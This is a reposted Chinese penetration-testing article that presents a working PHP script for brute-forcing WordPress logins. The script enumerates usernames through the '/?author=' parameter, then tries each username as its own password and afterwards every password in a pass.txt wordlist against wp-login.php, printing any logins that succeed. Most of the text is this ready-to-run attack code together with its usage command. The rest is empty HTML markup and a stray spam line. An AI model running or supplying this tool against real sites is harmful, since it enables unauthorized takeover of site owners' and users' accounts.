<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tools/601

                    在做滲透測試的時候,有時候會遇到一個wordpress博客,如果版本比較新,插件也沒有漏洞的話,可以爆破用戶名密碼來嘗試下。

                    大腦混沌情況下寫的,有bug歡迎提出,由于是php的所以跑起來比較慢,下次發包還是調用命令結合hydra來爆破。

                    原理是通過URL /?author= 遍歷獲取用戶名,然后先跑用戶名與密碼相同的用戶,再調用同目錄下pass.txt中的密碼文件進行爆破。

                    默認獲取前10個用戶,可自行修改。

                    使用方法:

                    php wordpress.php http://www.test.com
                    
                    #!php
                    <?php
                    
                    set_time_limit(0); 
                    $domain = $argv[1];
                    
                    //獲取用戶名
                    for ($i=1; $i <= 10; $i++) {
                    
                        $url = $domain."/?author=".$i;
                        $response = httprequest($url,0);
                        if ($response == 404) {
                            continue;
                        }
                        $pattern = "/author\/(.*)\/feed/";
                        preg_match($pattern, $response, $name);
                        $namearray[] = $name[1];
                    }
                    
                    echo "共獲取用戶".count($namearray)."名用戶\n";
                    
                    echo "正在破解用戶名與密碼相同的用戶:\n";
                    
                    $crackname = crackpassword($namearray,"same");
                    
                    $passwords = file("pass.txt");
                    
                    echo "正在破解弱口令用戶:\n";
                    
                    if ($crackname) {
                        $namearray = array_diff($namearray,$crackname);
                    }
                    
                    crackpassword($namearray,$passwords);
                    
                    function crackpassword($namearray,$passwords){
                        global $domain;
                        $crackname = "";
                        foreach ($namearray as $name) {
                            $url = $domain."/wp-login.php";
                            if ($passwords == "same") {
                                $post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
                                $pos = strpos(httprequest($url,$post),'div id="login_error"');
                                if ($pos === false) {
                                    echo "$name $name"."\n";
                                    $crackname[] = $name;
                                }
                            }else{
                                foreach ($passwords as $pass) {
                                    $post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
                                    $pos = strpos(httprequest($url,$post),'div id="login_error"');
                                    if ($pos === false) {
                                        echo "$name $pass"."\n";
                                    }
                                }
                            }
                        }
                        return $crackname;
                    }
                    
                    
                    function httprequest($url,$post){
                        $ch = curl_init(); 
                        curl_setopt($ch, CURLOPT_URL, "$url"); 
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
                        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
                    
                        if($post){
                            curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
                            curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
                        }
                    
                        $output = curl_exec($ch); 
                        $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
                        curl_close($ch);
                    
                    
                        if ($httpcode == 404) {
                            return 404;
                        }else{
                            return $output;
                        }
                    }
                    ?>
                    

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频